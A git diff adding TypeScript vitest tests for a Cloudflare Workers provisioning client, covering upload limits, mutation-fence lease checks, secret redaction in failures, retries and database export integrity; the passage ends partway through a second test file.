+  subdomain = { enabled: false, previewsEnabled: false },
+) {
+  const world = providerWorld();
+  world.seedScript('acme-production', {
+    versions: [],
+    subdomain,
+  });
+  return world;
+}
+
+function ownedFence(events?: string[]): ExternalMutationFence {
+  return mutationFence(
+    vi.fn(async () => {
+      events?.push('assertOwned');
+    }),
+  );
+}
+
+function outcomeOperations(
+  api: CloudflareApiPlainWorkerProvisioningApi,
+  fence: ExternalMutationFence,
+): Record<
+  'createDatabase' | 'uploadCandidate' | 'createDeployment',
+  () => Promise<unknown>
+> {
+  return {
+    createDatabase: () => api.createDatabase('acme-production', fence),
+    uploadCandidate: () => api.uploadCandidate(uploadIntent('initial'), fence),
+    createDeployment: () =>
+      api.createDeployment(
+        'acme-production',
+        [{ versionId: 'version-1', percentage: 100 }],
+        fence,
+      ),
+  };
+}
+
+describe('CloudflareApiPlainWorkerProvisioningApi', () => {
+  it.each(
+    (['initial', 'staged'] as const).flatMap((mode) =>
+      [
+        {
+          label: 'neither limit',
+          limits: { cpuMs: undefined },
+          wireLimits: undefined,
+        },
+        {
+          label: 'CPU only',
+          limits: { cpuMs: 30_000 },
+          wireLimits: { cpu_ms: 30_000 },
+        },
+        {
+          label: 'subrequests only',
+          limits: { cpuMs: undefined, subrequests: 500 },
+          wireLimits: { subrequests: 500 },
+        },
+        {
+          label: 'both limits',
+          limits: { cpuMs: 30_000, subrequests: 500 },
+          wireLimits: { cpu_ms: 30_000, subrequests: 500 },
+        },
+      ].map((limits) => ({ mode, ...limits })),
+    ),
+  )('serializes $label in $mode upload metadata', async ({
+    mode,
+    limits,
+    wireLimits,
+  }) => {
+    const world = emptyScriptWorld({ enabled: true, previewsEnabled: false });
+    const { api, fixture } = subject(restProjection(world));
+
+    await expect(
+      api.uploadCandidate({ ...uploadIntent(mode), limits }, ownedFence()),
+    ).resolves.toEqual({
+      status: 'succeeded',
+      cleanup: { status: 'succeeded' },
+    });
+    const uploads = fixture.requests.filter(
+      ({ method, url }) =>
+        method === (mode === 'initial' ? 'PUT' : 'POST') &&
+        new URL(url).pathname ===
+          `/client/v4/accounts/account/workers/scripts/acme-production${mode === 'initial' ? '' : '/versions'}`,
+    );
+    expect(uploads).toHaveLength(1);
+    expect(uploads[0]?.body).toHaveProperty('metadata');
+    if (wireLimits === undefined) {
+      expect(uploads[0]?.body).not.toHaveProperty('metadata.limits');
+    } else {
+      expect(uploads[0]?.body).toHaveProperty('metadata.limits', wireLimits);
+    }
+  });
+
+  it('projects the REST world through the provider-neutral read port', async () => {
+    const world = providerWorld();
+    world.seedDatabase('acme-production', { databaseId: 'database-1' });
+    world.seedScript('acme-production', {
+      versions: [
+        {
+          versionId: 'version-1',
+          tag: 'a'.repeat(64),
+          bindings: [
+            { type: 'd1', name: 'DB', database_id: 'database-1' },
+            { type: 'plain_text', name: 'DEPLOYMENT_TENANT', text: 'acme' },
+          ],
+          mainModule: 'worker.js',
+          modules: [{ name: 'worker.js', content: 'export default {}' }],
+        },
+      ],
+      deployment: [{ versionId: 'version-1', percentage: 100 }],
+      subdomain: { enabled: true, previewsEnabled: false },
+    });
+    const { api } = subject(restProjection(world));
+
+    await expect(api.listDatabases()).resolves.toEqual([
+      { databaseId: 'database-1', name: 'acme-production' },
+    ]);
+    await expect(api.getDatabase('database-1')).resolves.toEqual({
+      id: 'database-1',
+      name: 'acme-production',
+      created: false,
+    });
+    await expect(api.deploymentStatus('acme-production')).resolves.toEqual({
+      versions: [{ versionId: 'version-1', percentage: 100 }],
+    });
+    await expect(api.listVersions('acme-production')).resolves.toEqual([
+      { versionId: 'version-1', tag: 'a'.repeat(64) },
+    ]);
+    await expect(
+      api.viewVersion('acme-production', 'version-1'),
+    ).resolves.toMatchObject({
+      versionId: 'version-1',
+      tag: 'a'.repeat(64),
+      bindings: [
+        { type: 'd1', name: 'DB', databaseId: 'database-1' },
+        { type: 'plain-text', name: 'DEPLOYMENT_TENANT', value: 'acme' },
+      ],
+    });
+    await expect(
+      api.findVersion('acme-production', 'absent'),
+    ).resolves.toBeUndefined();
+  });
+
+  it('forwards a D1 database name filter without changing unfiltered requests', async () => {
+    const world = providerWorld();
+    world.seedDatabase('acme-production', { databaseId: 'database-1' });
+    world.seedDatabase('other-database', { databaseId: 'database-2' });
+    const { api, fixture } = subject(restProjection(world));
+
+    await expect(api.listDatabases()).resolves.toEqual([
+      { databaseId: 'database-1', name: 'acme-production' },
+      { databaseId: 'database-2', name: 'other-database' },
+    ]);
+    await expect(
+      api.listDatabases({ name: 'acme-production' }),
+    ).resolves.toEqual([{ databaseId: 'database-1', name: 'acme-production' }]);
+    const firstPageListUrls = fixture.requests
+      .map(({ url }) => new URL(url))
+      .filter(
+        (url) =>
+          url.pathname.endsWith('/d1/database') &&
+          !url.searchParams.has('page'),
+      );
+    expect(
+      firstPageListUrls.map((url) => url.searchParams.get('name')),
+    ).toEqual([null, 'acme-production']);
+  });
+
+  it.each([
+    'createDatabase',
+    'uploadCandidate',
+    'createDeployment',
+  ] as const)('rejects %s fence loss before dispatch', async (operation) => {
+    const world = emptyScriptWorld();
+    const { api, fixture } = subject(restProjection(world));
+    const denied = new Error('lease lost');
+    const fence = mutationFence(vi.fn(async () => Promise.reject(denied)));
+    const selected = outcomeOperations(api, fence)[operation];
+
+    await expect(selected()).rejects.toBe(denied);
+    expect(fixture.requests).toHaveLength(0);
+  });
+
+  it.each([
+    'createDatabase',
+    'uploadCandidate',
+    'createDeployment',
+  ] as const)('rejects %s timeout validation instead of returning a failed outcome', async (operation) => {
+    const world = emptyScriptWorld();
+    const { api, fixture } = subject(restProjection(world));
+    const fence = { mutationLeaseTtlMs: 0, assertOwned: vi.fn(async () => {}) };
+    const selected = outcomeOperations(api, fence)[operation];
+
+    await expect(selected()).rejects.toThrow(
+      'external mutation fence lease TTL must be positive',
+    );
+    expect(fixture.requests).toHaveLength(0);
+  });
+
+  it('rejects upload and deployment preparation failures before dispatch', async () => {
+    const world = emptyScriptWorld();
+    const { api, fixture } = subject(restProjection(world));
+    const malformed = {
+      ...uploadIntent('initial'),
+      modules: [{ name: 'worker.js', content: null }],
+    } as unknown as PlainWorkerUploadIntent;
+    const malformedBinding = {
+      ...uploadIntent('initial'),
+      bindings: {
+        ...uploadIntent('initial').bindings,
+        plainText: [null],
+      },
+    } as unknown as PlainWorkerUploadIntent;
+
+    await expect(api.uploadCandidate(malformed, ownedFence())).rejects.toThrow(
+      'valid upload data',
+    );
+    await expect(
+      api.uploadCandidate(malformedBinding, ownedFence()),
+    ).rejects.toThrow(TypeError);
+    await expect(
+      api.createDeployment(
+        'acme-production',
+        [{ versionId: 'version-1', percentage: Number.NaN }],
+        ownedFence(),
+      ),
+    ).rejects.toThrow('finite values from 0 to 100');
+    expect(fixture.requests).toHaveLength(0);
+    expect(fixture.probes).toHaveLength(0);
+  });
+
+  it.each([
+    ['initial', 0],
+    ['staged', 1],
+  ] as const)('rejects a %s upload when multipart preparation fails', async (mode, expectedReads) => {
+    const world = emptyScriptWorld({
+      enabled: true,
+      previewsEnabled: false,
+    });
+    const { api, fixture } = subject(restProjection(world), {
+      formDataProbe: 'unsupported',
+    });
+
+    await expect(
+      api.uploadCandidate(uploadIntent(mode), ownedFence()),
+    ).rejects.toThrow(TypeError);
+    expect(fixture.requests).toHaveLength(expectedReads);
+    expect(
+      fixture.requests.filter(({ method }) => method !== 'GET'),
+    ).toHaveLength(0);
+    if (mode === 'staged') {
+      expect(
+        fixture.requests.map(({ method, url }) => [
+          method,
+          new URL(url).pathname,
+        ]),
+      ).toEqual([
+        [
+          'GET',
+          '/client/v4/accounts/account/workers/scripts/acme-production/subdomain',
+        ],
+      ]);
+    }
+  });
+
+  it('rejects when the fetch wrapper fails before issuing the staged read', async () => {
+    const providerFixture = recordingFetch(restProjection(emptyScriptWorld()));
+    const providerIssued = vi.fn(providerFixture.fetch);
+    const transportFailure = new TypeError(
+      'transport refused before issuing request',
+    );
+    const beforeIssue = (): void => {
+      throw transportFailure;
+    };
+    const wrapperInvoked = vi.fn<typeof fetch>((input, init) => {
+      beforeIssue();
+      return providerIssued(input, init);
+    });
+    const client = new CloudflareProvisioningClient({
+      accountId: 'account',
+      apiToken: 'token',
+      plane: 'plain-worker',
+      rateCoordinator: testRateCoordinator(),
+      fetch: wrapperInvoked,
+      requestTimeoutMs: 1_000,
+    });
+    const api = new CloudflareApiPlainWorkerProvisioningApi({ client });
+
+    const failure = await api
+      .uploadCandidate(uploadIntent('staged'), ownedFence())
+      .catch((error: unknown) => error);
+
+    expect(errorChain(failure)).toContain(transportFailure.message);
+    // Reads keep the SDK's two retries; only the listed non-idempotent
+    // mutations disable them.
+    expect(wrapperInvoked).toHaveBeenCalledTimes(3);
+    expect(providerIssued).not.toHaveBeenCalled();
+    expect(providerFixture.requests).toHaveLength(0);
+  });
+
+  it('returns failed when a staged public-access write fails', async () => {
+    const { api, fixture } = subject(({ method, url }) => {
+      const target = new URL(url);
+      if (target.pathname.endsWith('/subdomain') && method === 'GET') {
+        return single({ enabled: false, previews_enabled: false });
+      }
+      if (target.pathname.endsWith('/subdomain') && method === 'POST') {
+        return Response.json(
+          { success: false, errors: [{ code: 1, message: 'failed' }] },
+          { status: 500 },
+        );
+      }
+      throw new Error(`unexpected request ${method} ${target.pathname}`);
+    });
+
+    await expect(
+      api.uploadCandidate(uploadIntent('staged'), ownedFence()),
+    ).resolves.toMatchObject({ status: 'failed' });
+    // Idempotent subdomain writes keep the SDK's two retries; only the listed
+    // non-idempotent mutations disable retries.
+    expect(
+      fixture.requests.filter(
+        ({ method, url }) =>
+          method === 'POST' && new URL(url).pathname.endsWith('/subdomain'),
+      ),
+    ).toHaveLength(3);
+    expect(
+      fixture.requests.some(({ url }) =>
+        new URL(url).pathname.endsWith('/versions'),
+      ),
+    ).toBe(false);
+  });
+
+  it.each([
+    'initial',
+    'staged',
+  ] as const)('returns failed and redacts a dispatched %s upload failure', async (mode) => {
+    const secret = 'secret-value';
+    const { api } = subject(({ method }) =>
+      method === 'GET'
+        ? single({ enabled: true, previews_enabled: false })
+        : Response.json(
+            {
+              success: false,
+              errors: [{ code: 1, message: `echoed ${secret}` }],
+            },
+            { status: 500 },
+          ),
+    );
+
+    const outcome = await api.uploadCandidate(uploadIntent(mode), ownedFence());
+    expect(outcome).toMatchObject({ status: 'failed' });
+    expect(JSON.stringify(outcome)).not.toContain(secret);
+    expect(JSON.stringify(outcome)).toContain('[redacted]');
+  });
+
+  it.each([
+    'createDatabase',
+    'uploadCandidate',
+    'createDeployment',
+  ] as const)('returns a failed value after a dispatched %s failure', async (operation) => {
+    const { api, fixture } = subject(async () =>
+      Response.json(
+        { success: false, errors: [{ code: 1, message: 'failed' }] },
+        { status: 500 },
+      ),
+    );
+    const selected = outcomeOperations(api, ownedFence())[operation];
+    const result = await selected();
+
+    expect(result).toMatchObject({ status: 'failed' });
+    expect(
+      Boolean(result && typeof result === 'object' && 'cleanup' in result),
+    ).toBe(operation === 'uploadCandidate');
+    if (result && typeof result === 'object' && 'cleanup' in result) {
+      expect(result.cleanup).toEqual({ status: 'succeeded' });
+    }
+    expect(fixture.requests).toHaveLength(1);
+  });
+
+  it.each([
+    ['createDatabase', 'createDatabase'],
+    ['uploadCandidate initial', 'uploadInitial'],
+    ['uploadCandidate staged', 'uploadStaged'],
+    ['createDeployment', 'createDeployment'],
+  ] as const)('rejects %s when the transport fence fails before mutation dispatch', async (_label, operation) => {
+    const world = emptyScriptWorld({
+      enabled: true,
+      previewsEnabled: false,
+    });
+    const { api, fixture } = subject(restProjection(world));
+    const fenceError = new Error('transport lease assertion failed');
+    let assertions = 0;
+    const assertOwned = vi.fn(async () => {
+      assertions += 1;
+      if (assertions === 2) throw fenceError;
+    });
+    const fence = mutationFence(assertOwned);
+    const invoke = (): Promise<unknown> => {
+      switch (operation) {
+        case 'createDatabase':
+          return api.createDatabase('new-database', fence);
+        case 'uploadInitial':
+          return api.uploadCandidate(uploadIntent('initial'), fence);
+        case 'uploadStaged':
+          return api.uploadCandidate(uploadIntent('staged'), fence);
+        case 'createDeployment':
+          return api.createDeployment(
+            'acme-production',
+            [{ versionId: 'version-1', percentage: 100 }],
+            fence,
+          );
+      }
+    };
+
+    const failure = await invoke().catch((error: unknown) => error);
+    expect(errorChain(failure)).toContain(fenceError.message);
+    expect(assertOwned).toHaveBeenCalledTimes(2);
+    expect(
+      fixture.requests.filter(
+        ({ method }) => method !== 'GET' && method !== 'HEAD',
+      ),
+    ).toHaveLength(0);
+    if (operation === 'uploadStaged') {
+      expect(fixture.requests).toHaveLength(1);
+      expect(fixture.requests[0]).toMatchObject({ method: 'GET' });
+    } else {
+      expect(fixture.requests).toHaveLength(0);
+    }
+  });
+
+  it.each([
+    'createDeployment',
+    'createDatabase',
+  ] as const)('classifies a queued dispatched %s failure', async (operation) => {
+    const heldResponse = deferred<Response>();
+    const heldStarted = deferred<void>();
+    const { api, client } = subject(
+      ({ method }) => {
+        if (method === 'GET') {
+          heldStarted.resolve();
+          return heldResponse.promise;
+        }
+        return Response.json(
+          { success: false, errors: [{ code: 1, message: 'failed' }] },
+          { status: 500 },
+        );
+      },
+      { concurrency: 1 },
+    );
+    const held = client.findOrdinaryWorkerVersion('hold', 'held-version');
+    await heldStarted.promise;
+    const queued =
+      operation === 'createDatabase'
+        ? api.createDatabase('new-database', ownedFence())
+        : api.createDeployment(
+            'acme-production',
+            [{ versionId: 'version-1', percentage: 100 }],
+            ownedFence(),
+          );
+    heldResponse.resolve(
+      single({ id: 'held-version', resources: { bindings: [] } }),
+    );
+
+    await expect(held).resolves.toMatchObject({ versionId: 'held-version' });
+    await expect(queued).resolves.toMatchObject({ status: 'failed' });
+  });
+
+  it('returns failed when a staged write precedes multipart preparation failure', async () => {
+    const { api, fixture } = subject(
+      ({ method, url }) => {
+        const target = new URL(url);
+        if (target.pathname.endsWith('/subdomain') && method === 'GET') {
+          return single({ enabled: false, previews_enabled: false });
+        }
+        if (target.pathname.endsWith('/subdomain') && method === 'POST') {
+          return single({ enabled: true, previews_enabled: false });
+        }
+        throw new Error(`unexpected request ${method} ${target.pathname}`);
+      },
+      { formDataProbe: 'unsupported' },
+    );
+
+    await expect(
+      api.uploadCandidate(uploadIntent('staged'), ownedFence()),
+    ).resolves.toMatchObject({ status: 'failed' });
+    expect(
+      fixture.requests.map(({ method, url }) => [
+        method,
+        new URL(url).pathname,
+      ]),
+    ).toEqual([
+      [
+        'GET',
+        '/client/v4/accounts/account/workers/scripts/acme-production/subdomain',
+      ],
+      [
+        'POST',
+        '/client/v4/accounts/account/workers/scripts/acme-production/subdomain',
+      ],
+    ]);
+  });
+
+  it('pins the pre-assert, quota, transport re-attestation, and request order', async () => {
+    const events: string[] = [];
+    const world = providerWorld();
+    const { api } = subject(restProjection(world), { events });
+
+    await expect(
+      api.createDatabase('acme-production', ownedFence(events)),
+    ).resolves.toEqual({ status: 'succeeded' });
+    expect(events).toEqual([
+      'assertOwned',
+      'quota:acquire',
+      'assertOwned',
+      'request:/client/v4/accounts/account/d1/database',
+    ]);
+  });
+
+  it('runs deletion and export requests inside the fenced client scope', async () => {
+    const world = emptyScriptWorld();
+    world.seedDatabase('acme-production', { databaseId: 'database-1' });
+    const projected = restProjection(world);
+    const handler: CloudflareFixtureHandler = async (request) => {
+      const url = new URL(request.url);
+      if (url.hostname === 'download.example.test') {
+        expect(request.headers.has('authorization')).toBe(false);
+        return new Response('CREATE TABLE example (id TEXT);');
+      }
+      if (url.pathname.endsWith('/d1/database/database-1/export')) {
+        return single({
+          status: 'complete',
+          result: {
+            signed_url: 'https://download.example.test/export.sql?sig=secret',
+          },
+        });
+      }
+      return projected(request);
+    };
+    const { api } = subject(handler, { exportStore: memoryStore() });
+    const fence = ownedFence();
+
+    await expect(
+      api.exportDatabase({ id: 'database-1', name: 'acme-production' }, fence),
+    ).resolves.toMatchObject({ location: 'memory://export', size: 31 });
+    await expect(
+      api.deleteWorkerScript('acme-production', fence),
+    ).resolves.toBe('deleted');
+    await expect(
+      api.deleteDatabaseFenced('database-1', fence),
+    ).resolves.toBeUndefined();
+  });
+
+  it('forwards one receipt identity under the original client receiver and fence', async () => {
+    const seeded = subject(async () => single({}));
+    const { client } = seeded;
+    const legacy = vi
+      .spyOn(client, 'exportDatabase')
+      .mockRejectedValue(new Error('legacy export must not run'));
+    let authorityReads = 0;
+    let methodReads = 0;
+    let receiver: unknown;
+    let received: DatabaseExportReceiptIdentity | undefined;
+    Object.defineProperties(client, {
+      databaseExportReceiptAuthority: {
+        configurable: true,
+        get() {
+          authorityReads += 1;
+          return RECEIPT_AUTHORITY;
+        },
+      },
+      exportDatabaseReceipt: {
+        configurable: true,
+        get() {
+          methodReads += 1;
+          return function (
+            this: unknown,
+            identity: DatabaseExportReceiptIdentity,
+          ) {
+            receiver = this;
+            received = identity;
+            return Promise.resolve({
+              databaseId: identity.databaseId,
+              location: 'memory://receipt',
+              size: 4,
+              sha256: 'a'.repeat(64),
+            });
+          };
+        },
+      },
+    });
+    const api = new CloudflareApiPlainWorkerProvisioningApi({ client });
+    expect(api.databaseExportReceiptAuthority).toBe(RECEIPT_AUTHORITY);
+    expect([authorityReads, methodReads]).toEqual([1, 1]);
+    const exportReceipt = api.exportDatabaseReceipt;
+    if (!exportReceipt) throw new Error('expected receipt export capability');
+    const assertOwned = vi.fn(async () => {});
+    const receiptFence: ExternalMutationFence = {
+      mutationLeaseTtlMs: 60_000,
+      assertOwned,
+    };
+    await expect(
+      exportReceipt(RECEIPT_IDENTITY, receiptFence),
+    ).resolves.toEqual({
+      location: 'memory://receipt',
+      size: 4,
+      sha256: 'a'.repeat(64),
+    });
+    expect(receiver).toBe(client);
+    expect(received).toEqual(RECEIPT_IDENTITY);
+    expect(assertOwned).toHaveBeenCalledTimes(1);
+    expect(legacy).not.toHaveBeenCalled();
+
+    assertOwned.mockClear();
+    received = undefined;
+    const authorityFailure = await exportReceipt(
+      { ...RECEIPT_IDENTITY, authority: 'memory://other/receipts/v1' },
+      receiptFence,
+    ).catch((error: unknown) => error);
+    expect(authorityFailure).toBeInstanceOf(Error);
+    expect((authorityFailure as Error).message).toBe(
+      'database export receipt authority differs from configured authority',
+    );
+    expect((authorityFailure as Error).cause).toBeUndefined();
+    expect(assertOwned).not.toHaveBeenCalled();
+    expect(received).toBeUndefined();
+
+    const absentClient = subject(async () => single({})).client;
+    const absent = new CloudflareApiPlainWorkerProvisioningApi({
+      client: absentClient,
+    });
+    expect('databaseExportReceiptAuthority' in absent).toBe(false);
+    expect('exportDatabaseReceipt' in absent).toBe(false);
+
+    Object.defineProperty(absentClient, 'databaseExportReceiptAuthority', {
+      configurable: true,
+      value: RECEIPT_AUTHORITY,
+    });
+    const malformed = (() => {
+      try {
+        return new CloudflareApiPlainWorkerProvisioningApi({
+          client: absentClient,
+        });
+      } catch (error) {
+        return error;
+      }
+    })();
+    expect(malformed).toBeInstanceOf(Error);
+    expect((malformed as Error).message).toBe(
+      'database export receipt capability is malformed',
+    );
+    expect((malformed as Error).cause).toBeUndefined();
+
+    for (const property of [
+      'databaseExportReceiptAuthority',
+      'exportDatabaseReceipt',
+    ] as const) {
+      const throwingClient = subject(async () => single({})).client;
+      if (property === 'exportDatabaseReceipt') {
+        Object.defineProperty(
+          throwingClient,
+          'databaseExportReceiptAuthority',
+          { configurable: true, value: RECEIPT_AUTHORITY },
+        );
+      }
+      Object.defineProperty(throwingClient, property, {
+        configurable: true,
+        get() {
+          throw new Error(`${property} getter must not escape`);
+        },
+      });
+      const failure = (() => {
+        try {
+          return new CloudflareApiPlainWorkerProvisioningApi({
+            client: throwingClient,
+          });
+        } catch (error) {
+          return error;
+        }
+      })();
+      expect(failure).toBeInstanceOf(Error);
+      expect((failure as Error).message).toBe(
+        'database export receipt capability is malformed',
+      );
+      expect((failure as Error).cause).toBeUndefined();
+    }
+  });
+
+  it('classifies only provider 404 as an absent Worker', async () => {
+    const absent = subject(async () =>
+      Response.json({ success: false, errors: [] }, { status: 404 }),
+    );
+    await expect(
+      absent.api.deleteWorkerScript('absent', ownedFence()),
+    ).resolves.toBe('absent');
+
+    for (const status of [403, 429, 500]) {
+      const refused = subject(async () =>
+        Response.json(
+          { success: false, errors: [] },
+          // The SDK's `shouldRetry` retries 429 and 500, so each of those
+          // spends the client's whole retry budget; `retry-after-ms` holds
+          // every one of those retries to a millisecond of real-timer backoff.
+          // A 403 is not retried, so the header is unread on that pass.
+          { status, headers: { 'retry-after-ms': '1' } },
+        ),
+      );
+      await expect(
+        refused.api.deleteWorkerScript('refused', ownedFence()),
+      ).rejects.toMatchObject({ status });
+    }
+
+    const timedOut = subject(() =>
+      Promise.reject(new Error('transport timed out')),
+    );
+    const timeout = await rejectedValue(
+      timedOut.api.deleteWorkerScript('slow', ownedFence()),
+    );
+
+    // The SDK's error classes never assign `name` (core/error.js:78-93), so the
+    // subclass itself is what identifies a timeout on a raw rejection.
+    expect(timeout).toBeInstanceOf(APIConnectionTimeoutError);
+    expect((timeout as Error).message).toBe('Request timed out.');
+    // The absence gate reads `status === 404`; a timeout carries no status at
+    // all, so it can only refuse.
+    expect((timeout as { status?: unknown }).status).toBeUndefined();
+  });
+
+  it('propagates durable export integrity failures', async () => {
+    const handler: CloudflareFixtureHandler = async (request) => {
+      const url = new URL(request.url);
+      if (url.hostname === 'download.example.test') return new Response('sql');
+      return single({
+        status: 'complete',
+        result: { signed_url: 'https://download.example.test/export.sql' },
+      });
+    };
+    const { api } = subject(handler, {
+      exportStore: {
+        async write() {
+          return {
+            location: 'memory://bad',
+            size: 999,
+            sha256: '0'.repeat(64),
+          };
+        },
+      },
+    });
+
+    await expect(
+      api.exportDatabase(
+        { id: 'database-1', name: 'acme-production' },
+        ownedFence(),
+      ),
+    ).rejects.toThrow('committed durable D1 export integrity differs');
+  });
+
+  it('does not dispatch any mutation after lease takeover following reads', async () => {
+    const world = emptyScriptWorld();
+    world.seedDatabase('acme-production', { databaseId: 'database-1' });
+    const { api, fixture } = subject(restProjection(world), {
+      exportStore: memoryStore(),
+    });
+    await api.listDatabases();
+    await api.listVersions('acme-production');
+    fixture.requests.length = 0;
+    const denied = new Error('lease taken over');
+    const lost = mutationFence(vi.fn(async () => Promise.reject(denied)));
+
+    const operations: Array<readonly [() => Promise<unknown>, boolean]> = [
+      [() => api.createDatabase('new-database', lost), true],
+      [() => api.uploadCandidate(uploadIntent('staged'), lost), true],
+      [
+        () =>
+          api.createDeployment(
+            'acme-production',
+            [{ versionId: 'version-1', percentage: 100 }],
+            lost,
+          ),
+        true,
+      ],
+      [() => api.deleteWorkerScript('acme-production', lost), true],
+      [
+        () => api.deleteDatabaseFenced('database-1', lost),
+        // This row alone has no adapter pre-assert, so its lease error crosses
+        // the SDK fetch boundary and arrives wrapped.
+        false,
+      ],
+      [
+        () =>
+          api.exportDatabase(
+            { id: 'database-1', name: 'acme-production' },
+            lost,
+          ),
+        true,
+      ],
+    ];
+    for (const [operation, preservesLeaseError] of operations) {
+      const failure = await rejectedValue(operation());
+      expect(failure).toBeDefined();
+      if (preservesLeaseError) expect(failure).toBe(denied);
+    }
+    expect(fixture.requests).toHaveLength(0);
+  });
+
+  it('forwards bounded decommission scans through the direct public backend', async () => {
+    const world = emptyScriptWorld();
+    const { client } = subject(restProjection(world));
+    const input: DecommissionAttachmentScanInput = {
+      progress: initialWorkerAttachmentScan({
+        kind: 'd1',
+        databaseId: 'database-1',
+      }),
+      maxProviderRequests: 12,
+    };
+    const result: DecommissionAttachmentScanResult = { status: 'drift' };
+    const calls: Array<readonly [unknown, DecommissionAttachmentScanInput]> =
+      [];
+    Object.defineProperty(client, 'advanceDecommissionAttachmentScan', {
+      configurable: true,
+      value(this: unknown, actual: DecommissionAttachmentScanInput) {
+        calls.push([this, actual]);
+        return Promise.resolve(result);
+      },
+    });
+
+    const api = new CloudflareApiPlainWorkerProvisioningApi({ client });
+    const backend = new CloudflareApiPlainWorkerBackend({ client });
+    await expect(api.advanceDecommissionAttachmentScan(input)).resolves.toBe(
+      result,
+    );
+    await expect(
+      backend.advanceDecommissionAttachmentScan?.(input),
+    ).resolves.toBe(result);
+    expect(calls).toEqual([
+      [client, input],
+      [client, input],
+    ]);
+  });
+
+  it('sanitizes a falsy transport failure without changing cleanup classification', async () => {
+    const { api } = subject(async () => {
+      throw undefined;
+    });
+    const outcome = await api.uploadCandidate(
+      uploadIntent('initial'),
+      ownedFence(),
+    );
+    expect(outcome).toMatchObject({
+      status: 'failed',
+      cleanup: { status: 'succeeded' },
+      error: {
+        name: 'CloudflareProviderError',
+        message: 'Cloudflare Worker upload failed',
+      },
+    });
+  });
+});
diff --git a/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts b/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts
new file mode 100644
index 00000000..83b6f3d3
--- /dev/null
+++ b/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts
@@ -0,0 +1,2903 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { AsyncLocalStorage } from 'node:async_hooks';
+import { createHash } from 'node:crypto';
+import { APIConnectionTimeoutError } from 'cloudflare';
+import { BaseNamespaces } from 'cloudflare/resources/workers-for-platforms/dispatch/namespaces/namespaces';
+import { afterEach, describe, expect, it, vi } from 'vitest';
+import {
+  CloudflarePlaneCapabilityError,
+  CloudflareProviderRequestNotDispatchedError,
+  CloudflareProvisioningClient,
+  type DurableDatabaseExportStore,
+  withProviderDispatchTracking,
+} from '../src/cloudflare-client.js';
+import { databaseExportReceiptError } from '../src/database-export-store.js';
+import {
+  assertSupportedPlainWorkerBindings,
+  plainWorkerBindingsToProviderShape,
+  providerBindingsToPlainWorkerShape,
+} from '../src/provider-binding-inventory.js';
+import type {
+  DatabaseExportReceiptIdentity,
+  PlainWorkerUploadIntent,
+  PlainWorkerVersionBinding,
+} from '../src/types.js';
+import {
+  deferred,
+  fenced,
+  pageArray,
+  pageItems,
+  recordingFetch,
+  restProjection,
+  single,
+  testRateCoordinator,
+  zoneAuthorityResponse,
+} from './fixtures/cloudflare-fetch-fixture.js';
+import { errorChain } from './fixtures/plain-worker-harnesses.js';
+import { providerWorld } from './fixtures/provider-world.js';
+
+// Shared-client WFP-plane cases live here so the legacy WFP request and
+// response pins remain byte-comparable to the pre-plain-worker client.
+
+function apiFailure(
+  status: number,
+  message = 'provider failure',
+  headers: Readonly<Record<string, string>> = {},
+): Response {
+  return Response.json(
+    {
+      success: false,
+      errors: [{ code: 10_000 + status, message }],
+      messages: [],
+      result: null,
+    },
+    { status, headers },
+  );
+}
+
+const RECEIPT_AUTHORITY = 'memory://fleet-exports/receipts/v1';
+const RECEIPT_IDENTITY: DatabaseExportReceiptIdentity = {
+  version: 1,
+  authority: RECEIPT_AUTHORITY,
+  databaseId: '00000000-0000-0000-0000-000000000001',
+  operationId: '00000000-0000-4000-8000-000000000002',
+};
+
+function uploadIntent(mode: 'initial' | 'staged'): PlainWorkerUploadIntent {
+  const base = {
+    scriptName: 'plain',
+    candidateTag: 'candidate-tag',
+    mainModule: 'worker.js',
+    modules: [
+      { name: 'worker.js', content: 'export default {}' },
+      {
+        name: 'data.txt',
+        content: 'data',
+        contentType: 'text/plain',
+      },
+    ],
+    compatibilityDate: '2026-08-26',
+    compatibilityFlags: ['nodejs_compat'],
+    bindings: {
+      plainText: [{ name: 'TEXT', value: 'value' }],
+      secrets: [{ name: 'SECRET', value: 'super-secret' }],
+      d1: [{ name: 'DB', databaseId: 'db-id', databaseName: 'db-name' }],
+      durableObjects: [{ name: 'STATE', className: 'State' }],
+      services: [{ name: 'SERVICE', service: 'upstream' }],
+      queueProducers: [{ name: 'QUEUE', queueName: 'jobs' }],
+      r2Buckets: [{ name: 'BUCKET', bucketName: 'objects' }],
+    },
+    limits: { cpuMs: 42 },
+    publicAccess: {
+      workersDevEnabled: false,
+      previewUrlsEnabled: false,
+    },
+  };
+  return mode === 'initial'
+    ? {
+        ...base,
+        mode,
+        durableObjectMigrations: [{ tag: 'v1', newSqliteClasses: ['State'] }],
+      }
+    : { ...base, mode };
+}
+
+function plainClient(
+  options: {
+    readonly fetch?: typeof fetch;
+    readonly rateCoordinator?: { acquire(signal?: AbortSignal): Promise<void> };
+    readonly exportStore?: DurableDatabaseExportStore;
+    readonly concurrency?: number;
+    readonly requestTimeoutMs?: number;
+  } = {},
+): CloudflareProvisioningClient {
+  return new CloudflareProvisioningClient({
+    accountId: 'account',
+    apiToken: 'token',
+    plane: 'plain-worker',
+    rateCoordinator: options.rateCoordinator ?? testRateCoordinator(),
+    fetch: options.fetch,
+    exportStore: options.exportStore,
+    concurrency: options.concurrency,
+    requestTimeoutMs: options.requestTimeoutMs,
+  });
+}
+
+function ownSerialization(value: unknown): string {
+  const seen = new WeakSet<object>();
+  return JSON.stringify(value, (_key, candidate) => {
+    if (!candidate || typeof candidate !== 'object') return candidate;
+    if (seen.has(candidate)) return '[circular]';
+    seen.add(candidate);
+    return Object.fromEntries(
+      Object.getOwnPropertyNames(candidate).map((name) => [
+        name,
+        Reflect.get(candidate, name),
+      ]),
+    );
+  });
+}
+
+function fact(value: unknown, name: string): unknown {
+  return value && typeof value === 'object'
+    ? Reflect.get(value, name)
+    : undefined;
+}
+
+function hasFact(value: unknown, name: string): boolean {
+  return Boolean(
+    value && typeof value === 'object' && Reflect.has(value, name),
+  );
+}
+
+function boundedErrorCauses(
+  error: unknown,
+  max = 20,
+): { readonly errors: readonly Error[]; readonly terminal: unknown } {
+  const errors: Error[] = [];
+  let current = fact(error, 'cause');
+  while (current instanceof Error && errors.length < max) {
+    errors.push(current);
+    current = current.cause;
+  }
+  return { errors, terminal: current };
+}
+
+async function failedInitialUpload(error: Error): Promise<unknown> {
